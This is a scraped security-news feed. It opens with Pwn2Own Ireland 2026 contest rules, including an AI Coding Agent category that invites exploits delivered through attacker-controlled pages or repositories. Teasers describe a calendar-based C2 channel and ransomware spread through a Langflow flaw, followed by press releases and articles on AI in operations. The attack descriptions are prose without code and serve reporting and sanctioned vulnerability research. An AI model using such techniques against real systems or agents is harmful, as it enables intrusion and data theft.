    Back to top

    Wellness Category

    This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

    Back to top

    Rage Against the Printers

    Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

    Back to top

    The Messaging Category

    We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

    Back to top

    AI Infrastructure Category

    We introduced these targets at Pwn2Own Berlin, and we saw such
uh
enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

    Back to top

    AI Coding Agent Category

    Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

    Back to top

    Master of Pwn

    No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

    For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

    The Complete Details

    The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

    Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

    The Results

    We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

    We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

     

    ©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

    ]]>         <![CDATA[HireQuotient Extends AI Recruiting Capabilities to Paylocity Customers in Frontline Industries]]> https://tsecurity.de/de/3684468/it-nachrichten/hirequotient-extends-ai-recruiting-capabilities-to-paylocity-customers-in-frontline-industries/ https://tsecurity.de/de/3684468/it-nachrichten/hirequotient-extends-ai-recruiting-capabilities-to-paylocity-customers-in-frontline-industries/ Tue, 21 Jul 2026 19:34:25 +0200 📰 IT Nachrichten tsecurity.de

    HireQuotient, an AI-native recruiting platform, today announced its integration with Paylocity (Nasdaq: PCTY), bringing AI-powered candidate sourcing and screening capabilities to Paylocity customers in manufacturing, building services, construction, healthcare and insurance, which are industries where deskless and frontline hiring has historically been underserved by AI recruiting tools.

    Employers in these sectors who already use HireQuotient are seeing the impact firsthand.

    “By simply putting in vetting criteria, I was able to get a very specific talent pool within a day,” said Niki Simoneaux, COO of Arc Health. “With EasySource, we can reach a huge database or filter for specific licenses and areas.”

    “With technology and the ability to work remotely, we’re able to recruit nationwide outside of our footprint. This expands the pool of prospective candidates and gives us access to candidates who might not have ever applied for a position on our website’s career page,” said Jeff McGee, vice president at W3 Insurance.

    “HireQuotient’s AI-native product helped my team at Alliance Building Services to cut down time to close position by more than 60%, and their team works very closely with the client to ensure adoption at scale,” said Willow Marcon, senior vice president at Alliance Building Services.

    Recruiters in manufacturing, building services, construction, healthcare and insurance often spend more than two-thirds of their time on manual work and using over 10 platforms to just close a hire: sourcing a wide range of profiles, skimming resumes, finding contact information, reaching out and doing hundreds of calls and constant follow-ups. That fragmented process leads to recruiter burnout and leaves gaps in candidate data. Because most HR platforms don’t offer built-in AI native agents that work in tandem to do all it takes to close the hire, employers in these industries have faced hiring delays and platform churn.

    The partnership addresses this gap by integrating HireQuotient’s EasySource platform directly into the Paylocity ecosystem. Instead of relying on rigid keyword searches, EasySource identifies strong talent pools, screens for role-specific credentials and licenses and personalizes outreach by phone and email. For mid-market companies with 500 to 1,000 employees, that translates to a 70% faster time-to-hire and an estimated $100,000 in annual savings.

    The integration also closes the feedback loop for employers. By feeding post-hire data back into the recruiting system, EasySource learns from successful hires to build smarter talent pools over time, while keeping recruiters engaged longer by freeing them to focus on the human side of hiring.

    Gokul Rajaram, board member at Coinbase and former board member of The Trade Desk (Nasdaq: TTD), and also known as the godfather of Google AdSense, said, “Smarthveer is one of those rare founders who picks an unglamorous, deeply underserved market and refuses to leave until it’s fixed. Frontline hiring is exactly that market. Being named to Paylocity’s elite partner network is a testament to his relentlessness and to the team he’s built. Excited for what’s ahead.”

    “Paylocity maintains an elite partner network, so being named one of them is a testament to the strength of our product,” said Smarthveer Sidana, founder and CEO of HireQuotient. “By keeping that recruiting activity inside the Paylocity ecosystem, we’re helping them close a critical gap for their employers, capture revenue that previously sat outside their platform, and prevent the client churn that comes with a fragmented hiring process.”

    Jim Moffatt, former global CEO of Deloitte Consulting and board partner at Greycroft VC, said, 

    “This is a big milestone for Smarthveer and his team. I congratulate them on this big win. Paylocity’s large client base acts as a strong distribution, and HireQuotient’s EasySource acts as a strong product to cater to the needs of Paylocity’s clients. Paylocity is known for its highly selective approach, and I’m glad to see that after months of evaluation and extensive due diligence, they’re going live with HireQuotient’s EasySource. I feel confident in the value this partnership will create for frontline industries. I remember when Smarthveer spoke to me about it in December, and it felt very ambitious. I’m glad to see it turn to reality.”

    For employers with a traditionally deskless workforce in industries where AI adoption has lagged, the integration bridges a major capability gap by allowing them to source, screen, onboard and manage payroll all in one place.

    For more information, visit www.hirequotient.com.

    A media kit with additional partner quotes, executive headshots and logos can be found here.

    About HireQuotient

    HireQuotient is an AI-native recruiting platform that automates candidate sourcing and screening for employers in manufacturing, building services, construction, healthcare, insurance and other frontline-heavy industries. Its flagship platform, EasySource, is one of a select number of recruiting technologies integrated with Paylocity’s HR and payroll ecosystem. Founded by Smarthveer Sidana, HireQuotient is headquartered in San Francisco. For more information, visit https://www.hirequotient.com/.

    Media Contact

    Bethany Rhodes

    Uproar by Moburst for HireQuotient

    bethany@moburst.com

    Contact

    Bethany Rhodes

    bethany@moburst.com

    ]]>         <![CDATA[Experience Better Browsing: Introducing Native Containers in Firefox 153]]> https://tsecurity.de/de/3684317/tools/experience-better-browsing-introducing-native-containers-in-firefox-153/ https://tsecurity.de/de/3684317/tools/experience-better-browsing-introducing-native-containers-in-firefox-153/ Tue, 21 Jul 2026 18:12:00 +0200 đŸ’Ÿ Tools tsecurity.de Today, we’re excited to announce the Preview of Containers in Firefox version 153, which lets you keep separate parts of your online life (work, shopping, personal, banking) logged into different accounts in the same browser window, but keeps your cookies and ad tracking isolated inside each container. This means that stuff you do in one [
]

    The post Experience Better Browsing: Introducing Native Containers in Firefox 153 appeared first on The Mozilla Blog.

    ]]>         <![CDATA[Certinia acquires AI services company Moonnox]]> https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/ https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/ Tue, 21 Jul 2026 17:30:59 +0200 📰 IT Security Nachrichten tsecurity.de

    AI-powered professional services automation provider Certinia has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, the company said.

    The acquisition will add real-time native context capture across applications such as Salesforce, G-Suite, Microsoft 365, Jira, Confluence, Zoom and others, and, unlike point agents, it “spans the full arc from proposal to delivery to renewal, so nothing has to be rebuilt, re-mapped, or re-trusted as work moves from sales to delivery to customer success,” Certinia said.

    New capabilities in Veda include automatic creation of proposal responses and statements of work, conversion of high-level business requirements into actionable blueprints, providing an on-demand virtual assistant to manage day-to-day tasks, performing scope scans and otherwise monitoring projects to proactively manage risk, and organizing delivery data and lessons learned into a searchable knowledge base for later use.

    “What excites me most is the combination,” Robert Ong, co-founder and CEO of Moonnox, now part of Certinia, said in a statement. “Moonnox’s ability to capture what happens in the room, paired with Certinia’s system of record and agentic capabilities for services operations, closes a gap neither of us could close alone. Together, we give services firms the foundation to capture that value, deliver with confidence, and navigate shifting their operating models into the future.”

    Thomas Randall, research director at Info-Tech Research Group, said it’s a smart move for Certinia to acquire Moonnox. “The current solution is quite complex to use. What Moonnox offers for Certinia is a way for non-technical staff to navigate their system of record across unstructured data silos. I expect to see an increase in satisfaction for the user experience.”

    However, Jason Andersen, VP and principal analyst at Moor Insights & Strategy, still has questions.

    “While this acquisition might increase service planning and delivery efficiencies in the short term, the real question will be how this combination will help firms with the fundamental shift AI and agents have thrust upon the services industry,” he pointed out. ”Unfortunately for services firms, agentic technologies have already reset client perceptions on internal work capacity, velocity, and cost. So, the proof point I’d like to see is beyond margin improvement and towards business transformation.”

    ]]>         <![CDATA[KeeperPAM strengthens privileged access management for global construction SaaS provider Asite]]> https://tsecurity.de/de/3684134/it-security-nachrichten/keeperpam-strengthens-privileged-access-management-for-global-construction-saas-provider-asite/ https://tsecurity.de/de/3684134/it-security-nachrichten/keeperpam-strengthens-privileged-access-management-for-global-construction-saas-provider-asite/ Tue, 21 Jul 2026 17:09:54 +0200 📰 IT Security Nachrichten tsecurity.de Keeper Security has announced that UK-based construction technology provider Asite has deployed KeeperPAM¼ to strengthen privileged access management, secrets governance and credential security across its global operations. The deployment, detailed in a newly published customer case study, sees Asite replace a collection of legacy privileged access and secrets management tools with Keeper’s unified, cloud-native platform [
]

    The post KeeperPAM strengthens privileged access management for global construction SaaS provider Asite appeared first on IT Security Guru.

    ]]>         <![CDATA[New CAV3RN Module Replaces WebSocket C2 With Outlook Calendar Dead Drops]]> https://tsecurity.de/de/3683889/it-security-nachrichten/new-cav3rn-module-replaces-websocket-c2-with-outlook-calendar-dead-drops/ https://tsecurity.de/de/3683889/it-security-nachrichten/new-cav3rn-module-replaces-websocket-c2-with-outlook-calendar-dead-drops/ Tue, 21 Jul 2026 15:40:08 +0200 📰 IT Security Nachrichten tsecurity.de In a significant evolution of the Project CAV3RN tooling, a new .NET Native AOT communication module dubbed AzureCommunication.dll has been deployed to replace the framework’s earlier HTTP/WebSocket C2 component. A stealthy channel that abuses Outlook calendar events over Microsoft Graph and a DNS-based recovery mechanism for Microsoft 365 credentials. This shift reinforces CAV3RN’s positioning as [
]

    The post New CAV3RN Module Replaces WebSocket C2 With Outlook Calendar Dead Drops appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ]]>         <![CDATA[Agentic JADEPUFFER Exploits Langflow Flaw to Deploy ENCFORGE AI Ransomware]]> https://tsecurity.de/de/3683878/it-security-nachrichten/agentic-jadepuffer-exploits-langflow-flaw-to-deploy-encforge-ai-ransomware/ https://tsecurity.de/de/3683878/it-security-nachrichten/agentic-jadepuffer-exploits-langflow-flaw-to-deploy-encforge-ai-ransomware/ Tue, 21 Jul 2026 15:39:50 +0200 📰 IT Security Nachrichten tsecurity.de A ransomware campaign is now targeting the assets behind artificial intelligence systems. The threat actor known as JADEPUFFER has evolved from damaging databases to deploying ENCFORGE, a ransomware strain designed to encrypt AI models, training data, and vector databases. The


    Read more →

    The post Agentic JADEPUFFER Exploits Langflow Flaw to Deploy ENCFORGE AI Ransomware appeared first on IT Security News.

    ]]>         <![CDATA[New CAV3RN Module Replaces WebSocket C2 With Outlook Calendar Dead Drops]]> https://tsecurity.de/de/3683876/it-security-nachrichten/new-cav3rn-module-replaces-websocket-c2-with-outlook-calendar-dead-drops/ https://tsecurity.de/de/3683876/it-security-nachrichten/new-cav3rn-module-replaces-websocket-c2-with-outlook-calendar-dead-drops/ Tue, 21 Jul 2026 15:39:47 +0200 📰 IT Security Nachrichten tsecurity.de In a significant evolution of the Project CAV3RN tooling, a new .NET Native AOT communication module dubbed AzureCommunication.dll has been deployed to replace the framework’s earlier HTTP/WebSocket C2 component. A stealthy channel that abuses Outlook calendar events over Microsoft Graph


    Read more →

    The post New CAV3RN Module Replaces WebSocket C2 With Outlook Calendar Dead Drops appeared first on IT Security News.

    ]]>         <![CDATA[heise+ | Sinnvoll kollaborieren bei Entwicklung und Nutzung von Software aus der Cloud]]> https://tsecurity.de/de/3683589/it-nachrichten/heise-sinnvoll-kollaborieren-bei-entwicklung-und-nutzung-von-software-aus-der-cloud/ https://tsecurity.de/de/3683589/it-nachrichten/heise-sinnvoll-kollaborieren-bei-entwicklung-und-nutzung-von-software-aus-der-cloud/ Tue, 21 Jul 2026 13:48:22 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Agentic JADEPUFFER Exploits Langflow Flaw to Deploy ENCFORGE AI Ransomware]]> https://tsecurity.de/de/3683563/it-security-nachrichten/agentic-jadepuffer-exploits-langflow-flaw-to-deploy-encforge-ai-ransomware/ https://tsecurity.de/de/3683563/it-security-nachrichten/agentic-jadepuffer-exploits-langflow-flaw-to-deploy-encforge-ai-ransomware/ Tue, 21 Jul 2026 13:40:35 +0200 📰 IT Security Nachrichten tsecurity.de A ransomware campaign is now targeting the assets behind artificial intelligence systems. The threat actor known as JADEPUFFER has evolved from damaging databases to deploying ENCFORGE, a ransomware strain designed to encrypt AI models, training data, and vector databases. The operation begins by exploiting CVE-2025-3248, a critical missing-authentication flaw in Langflow’s code-validation endpoint. The bug [
]

    The post Agentic JADEPUFFER Exploits Langflow Flaw to Deploy ENCFORGE AI Ransomware appeared first on Cyber Security News.

    ]]>         <![CDATA[This free Volvo update adds Apple Music to your car’s dashboard]]> https://tsecurity.de/de/3683152/ios-mac-os/this-free-volvo-update-adds-apple-music-to-your-cars-dashboard/ https://tsecurity.de/de/3683152/ios-mac-os/this-free-volvo-update-adds-apple-music-to-your-cars-dashboard/ Tue, 21 Jul 2026 11:12:46 +0200 🍏 iOS / Mac OS tsecurity.de Apple Music integration comes to Volvo cars.

    Volvo is bringing native Apple Music integration, Spatial Audio support and a free three-month trial to millions of compatible cars.

    (via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

    ]]>         <![CDATA[How AI impacts site reliability engineering]]> https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/ https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/ Tue, 21 Jul 2026 11:05:12 +0200 🔧 AI Nachrichten tsecurity.de

    Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.

    Google introduced its SRE playbook in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and data pipelines.

    SRE is a career path for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is a growing role in the genAI era as more businesses deploy AI agents.

    But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the 2026 State of Production Reliability and AI Adoption report, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.

    So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.

    AIops and agentic ops aid SREs

    Over the past decade, SRE responsibilities have become somewhat easier through improvements in monitoring platforms, observability practices, tools for centralizing operational data, and AI applied in IT operations (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.

    According to the Komodore 2025 Enterprise Kubernetes Report, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.

    “SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at Komodor. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”

    AIops is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to reduce the mean time to resolve incidents and to perform accurate root cause analysis (RCA) efficiently. Agentic ops is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.

     “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at OpenObserve. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”

    AI’s impact on people and burnout

    The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to The SRE Report 2025 from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.

    “AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at Groundcover. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”

    Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at EDB Postgres AI, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”

    AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “war rooms” to coordinate root cause analyses.

    “When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of Resolve AI. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” 

    AI agent reliability

    While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of AI code generators, vibe coding, and spec-driven development is adding to their workloads. According to one study, 41% of all global code is now AI-generated, and Gartner predicts that 40% of new enterprise production software will be created using vibe coding techniques by 2028.

    But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, according to CodeRabbit. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at NeuBird AI. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”

    The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with Model Context Protocol servers to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. 

    “Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at SandboxAQ. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”

    “Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at Ciroos. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”

    SREs should take a leadership role in emerging best practices, including defining their standards for AI agent non-functional acceptance criteria, observability practices, and release-readiness criteria. SREs should update their service-level objectives (SLOs) and define error budgets for AI agents in production.

    Ryan Downing, vice president and CIO of enterprise business solutions at Principal Financial Group, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”

    AI raises the SRE’s business impact

    The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including rogue AI agents and the impacts of rapidly deploying new agentic capabilities. 

    “AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at Smarsh. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”

    The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.

    ]]>         <![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]> https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/ https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/ Tue, 21 Jul 2026 11:03:50 +0200 📰 IT Nachrichten tsecurity.de

    Every enterprise AI conversation seems to begin with the same question: Which model should we use?

    I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.

    But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.

    The model matters. But it is not where most enterprises will struggle next.

    The next AI bottleneck is the infrastructure behind the model.

    I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.

    That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.

    Pilots hide the hard part

    Most organizations can build an impressive AI pilot. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.

    The harder part starts when that pilot moves into a real production process.

    That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?

    To me, these are not model problems. They are infrastructure problems.

    This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.

    McKinsey has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.

    AI pilots can survive on enthusiasm. Production AI requires architecture.

    AI is becoming an integration problem

    The more I look at enterprise AI, the more it feels like an integration challenge.

    In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.

    AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.

    That is why the CIO question is changing.

    It is no longer just, “Which AI tool should we buy?”

    It is becoming, “Can we safely operationalize intelligence across the business?”

    This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.

    A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.

    For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.

    If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.

    That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.

    Latency will become a trust issue

    In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.

    When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.

    This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.

    Each step adds latency. Each dependency adds a possible failure point.

    A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.

    This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.

    Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.

    Observability has to expand

    Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?

    AI needs that, but it also needs more.

    We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.

    We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.

    In production AI, observability is not only about uptime. It is about confidence.

    If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.

    This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.

    Data readiness is still underestimated

    AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.

    Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.

    AI does not fix that automatically. In many cases, it makes the problem more visible.

    A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.

    That is a real risk.

    Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.

    The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “Enabling Fault-Tolerant Multicast in Cloud-Native Architectures” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.

    CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.

    Security cannot be added later

    As AI moves from answering questions to acting, security becomes much more important.

    An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.

    The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.

    Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.

    AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.

    The NIST AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.

    Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.

    The CIO has to define the operating model

    AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.

    The CIO sits in the middle of all of it.

    That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.

    That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?

    This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.

    The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.

    They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.

    The model still matters. But the enterprise behind the model matters more.

    A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.

    That is the shift CIOs need to lead.

    The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.

    This article is published as part of the Foundry Expert Contributor Network.
